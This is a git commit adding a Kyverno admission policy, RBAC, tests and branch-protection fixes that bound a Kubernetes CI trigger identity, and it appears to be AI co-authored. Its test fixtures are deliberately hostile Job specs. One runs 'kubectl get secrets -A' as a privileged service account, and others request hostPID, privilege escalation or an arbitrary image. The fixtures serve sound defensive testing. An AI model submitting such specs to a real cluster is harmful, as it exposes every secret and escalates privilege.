feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)

Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

DECISIONS-LOG.md

@@ -4924,3 +4924,43 @@ being unable to recur.
 4. `required_approvals: 1` means a PR you open as `jakman85` needs `gitea-admin` to approve.
    If that friction bites, either open agent work as `gitea-admin` and review as `jakman85`, or
    drop back to relying on the status check alone.
+
+## 2026-09-29 (later still) — the enforcement we "turned on" was overridable by the account that merges
+
+`enable_status_check: true` and `required_approvals: 1` were set earlier today and recorded as
+done. **They did not bite.** `block_admin_merge_override` was `false`, and Gitea lets repository
+admins override merge requirements without it. `jakman85` holds `owner`, so both requirements
+were bypassable by exactly the account that performs every merge.
+
+**The evidence was already on the record and nobody read it:** PRs #5, #6, #7, #8 and #9 all
+merged while `required_approvals: 1` was in force, with **zero approvals recorded on any of
+them**. A one-line check (`/pulls/{n}/reviews`) would have shown it at any point.
+
+Two process failures, both mine, both the same shape as the original defect:
+
+1. **I verified with the wrong view.** `/branches/main` reports `protected`,
+   `enable_status_check` and `required_approvals` but NOT `block_admin_merge_override`. It
+   showed everything green while the rule was overridable. The authoritative object is
+   `/branch_protections/main` — read it and enumerate its keys.
+2. **I probed for a field name I assumed existed.** This Gitea (1.24.3) has no
+   `apply_to_admins`. Asking `jq` for it returns `null`, which reads exactly like "set to
+   false" but means "key absent" — so a PATCH that silently did nothing looked like a real
+   before/after. **`jq` returning null is not a value; it may be an absence.** Enumerate with
+   `to_entries`.
+
+Now `block_admin_merge_override: true`, applied and read back. `infra/gitea/require-gate.sh`
+sets it, and `infra/gitea/block-admin-override.sh` fixes it in isolation.
+
+**This is still only a setting.** It is proven when a green PR is REFUSED a merge until
+approved — and that has not been observed yet. This PR is the test: if it merges without an
+approval, the fix did not work and the finding stands.
+
+### The governance question this exposes
+
+There are two accounts: `jakman85` (owner, the human) and `gitea-admin` (the agent). With
+approvals now genuinely required, an agent-authored PR is approved by the human — which is the
+intent. But a PR authored by `jakman85` needs `gitea-admin` to approve it, i.e. the automation
+account rubber-stamping the human. That is ceremony, not review. Options: keep it and accept
+the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
+that actually verifies something; or add a second human account. **This is a decision for the
+operator, not a default to be chosen silently.**

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/kustomization.yaml

@@ -33,6 +33,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
 DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
                   "runbooks", "clusters", "bootstrap", "catalog")
 
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
 
 def tracked_yaml() -> list[Path]:
     out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
 # a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
 # a path of them would fail on a file that is correct.
 reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
 unscanned = sorted({
     f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
     for p, d in reconcilers
-    if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
-    not in DELIVERY_ROOTS
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
 })
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
 check(len(reconcilers) >= 10 and not unscanned,
       f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
       f"reconciled tree this check does not read is a service it cannot require a link for "

infra/gitea/README.md

@@ -55,8 +55,27 @@ All four steps are complete and each was verified, not assumed:
 | 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
 
 Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
-`gitea-admin`, a site admin — so protection is not merely declared, it holds for the account
-agents authenticate as.
+`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
+account agents authenticate as.
+
+### 5. Block the admin override — the step the first pass MISSED
+
+`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
+bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
+merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
+like the gate were overridable by precisely the account that merges.
+
+**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
+`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
+*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
+(`/branch_protections/main`) and enumerate its keys.
+
+> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
+> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
+> means "key absent". Enumerate with `to_entries` and act on what is really there.
+
+Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
+proven when a green PR is REFUSED a merge until approved, and not before.
 
 ### `require-gate.sh` / `verify-then-enforce.sh`
 

infra/gitea/block-admin-override.sh

@@ -0,0 +1,36 @@
+#!/usr/bin/env bash
+# Stop repository admins from overriding the merge requirements on `main`.
+#
+# WHY. Gitea lets repo admins override branch-protection merge requirements unless
+# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
+# required_approvals and the required status check were both overridable by the one account
+# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
+# `required_approvals: 1`.
+#
+# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
+# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
+# real keys (`to_entries`) rather than probing names you assume exist.
+#
+# Recoverable: an owner can PATCH this back to false if it gets in the way.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
+
+echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
+api -X PATCH -H 'Content-Type: application/json' \
+  -d '{"block_admin_merge_override": true}' "$B" >/dev/null
+AFTER=$(api "$B" | jq -r .block_admin_merge_override)
+echo "==> after:  block_admin_merge_override = $AFTER"
+[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
+
+api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
+cat <<'NOTE'
+
+NOW PROVE IT -- the setting is not the evidence. On the next PR:
+  * let the gate go green, then try to merge WITHOUT approving it.
+  * Gitea must REFUSE. If it merges, this still is not doing its job.
+Do not record approvals as enforced until you have seen a merge refused.
+NOTE

infra/gitea/require-gate.sh

@@ -12,6 +12,15 @@
 #   * NOT `gate / conformance (*)` -- that job is `if: false`, and a skipped Gitea job reports
 #     SUCCESS ("Has been skipped"). Requiring it would pass VACUOUSLY forever while nothing
 #     ran, which under HARD RULE 4 is worse than a deadlock: a deadlock is loud.
+# block_admin_merge_override: true is LOAD-BEARING and was missing on the first pass. Gitea
+# lets repo admins override merge requirements without it, so required_approvals and the
+# required status check are both bypassable by exactly the account that does the merging.
+# Measured: PRs #5-#9 merged with ZERO approvals recorded against required_approvals: 1.
+#
+# FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins`. Asking jq for it returns null,
+# which reads like "false" but means "key absent" -- enumerate real keys with `to_entries`
+# instead of probing names you assume exist. That mistake cost a wasted PATCH.
+#
 #   * NOT the `(push)` variant -- after PR #6 there are no per-branch push runs at all, so a
 #     PR would never produce that context.
 set -euo pipefail
@@ -28,7 +37,8 @@ jq -n '{
   required_approvals: 1,
   block_on_rejected_reviews: true,
   dismiss_stale_approvals: true,
-  block_on_outdated_branch: false
+  block_on_outdated_branch: false,
+  block_admin_merge_override: true
 }' | api -X PATCH -H 'Content-Type: application/json' --data @- \
   "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main" >/dev/null
 

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -0,0 +1,144 @@
+# Serves: R-SEC-02 (CI holds no broad cluster access)
+#
+# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
+#
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
+# `create jobs` in namespace `conformance` can therefore create a Job that runs as
+# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
+# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
+# privileged identity unless something constrains the SHAPE of what it may create.
+#
+# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
+# committed conformance run and deny everything else. The operator chose this model
+# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
+# GitOps-native alternative.
+#
+# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
+# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
+# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
+# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
+# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
+#
+# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
+# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
+#
+# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
+# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
+# enforceable half: the image must live under the conformance repository path AND be
+# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
+# registry path could publish a different digest. TIGHTEN THIS when the image is built by
+# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
+# PR, which is exactly where a change to the security boundary belongs.
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: conformance-trigger-job-shape
+  annotations:
+    policies.kyverno.io/title: Constrain what the conformance CI trigger may create
+    policies.kyverno.io/category: Supply chain
+    policies.kyverno.io/severity: critical
+    homelab.keithjackson.dev/requirements: R-SEC-02
+    homelab.keithjackson.dev/scope: admission-only
+spec:
+  validationFailureAction: Enforce
+  failurePolicy: Fail
+  background: false
+  rules:
+    - name: trigger-may-create-only-the-committed-conformance-run
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger may create ONLY the committed conformance run: a single container,
+          digest-pinned conformance-runner image, serviceAccountName conformance-runner,
+          command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
+          and only the `workspace` and `results` volumes. See
+          platform/kyverno/admission/conformance-trigger-job-shape.yaml.
+        pattern:
+          spec:
+            template:
+              spec:
+                serviceAccountName: conformance-runner
+                =(hostNetwork): "false"
+                =(hostPID): "false"
+                =(hostIPC): "false"
+                containers:
+                  - image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
+                    command:
+                      - "./run.sh"
+                    securityContext:
+                      runAsNonRoot: true
+                      allowPrivilegeEscalation: false
+                      =(privileged): "false"
+
+    - name: trigger-volumes-must-be-workspace-or-results
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
+          volume is how a constrained pod reaches a host path, a secret, or another SA's token.
+        # foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
+        # matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
+        # asserts EVERY volume is one of the two allowed names.
+        foreach:
+          - list: "request.object.spec.template.spec.volumes"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value: ["workspace", "results"]
+
+    - name: trigger-args-must-be-the-committed-flags
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Job args may contain only the conformance run's own flags
+          (--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
+          Anything else — a shell, a path, a redirect — is denied.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].args"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
+                    operator: Equals
+                    value: false

platform/kyverno/admission/kustomization.yaml

@@ -20,3 +20,7 @@ resources:
   # --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
   #     (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
   - secret-provenance.yaml
+  # --- R-SEC-02: constrain what the conformance CI trigger may create ---
+  # THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
+  # subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
+  - conformance-trigger-job-shape.yaml

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -0,0 +1,57 @@
+# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
+#
+# Each DENY case below is a real escalation path, not a style violation. The one that matters
+# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
+# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
+# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
+# this policy.
+#
+# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
+# never fires and every case trivially passes — a test that proves nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: conformance-trigger-job-shape
+policies:
+  - ../../admission/conformance-trigger-job-shape.yaml
+resources:
+  - resources.yaml
+userinfo: user-info.yaml
+results:
+  # ---- the committed run is ADMITTED ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [good-run]
+    result: pass
+
+  # ---- THE escalation: runner SA + arbitrary command ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
+    result: fail
+
+  # ---- an extra volume is the way out of a constrained pod ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [extra-volume]
+    result: fail
+
+  # ---- args beyond the committed flags ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [injected-args]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -0,0 +1,154 @@
+# The committed shape — must be ADMITTED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: good-run
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-command
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An arbitrary image running as the privileged SA. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-image
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: docker.io/library/alpine:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: tag-not-digest
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# Host namespaces + privilege escalation. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: host-namespaces
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      hostPID: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: false
+            allowPrivilegeEscalation: true
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An extra volume — the way out of a constrained pod. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: extra-volume
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
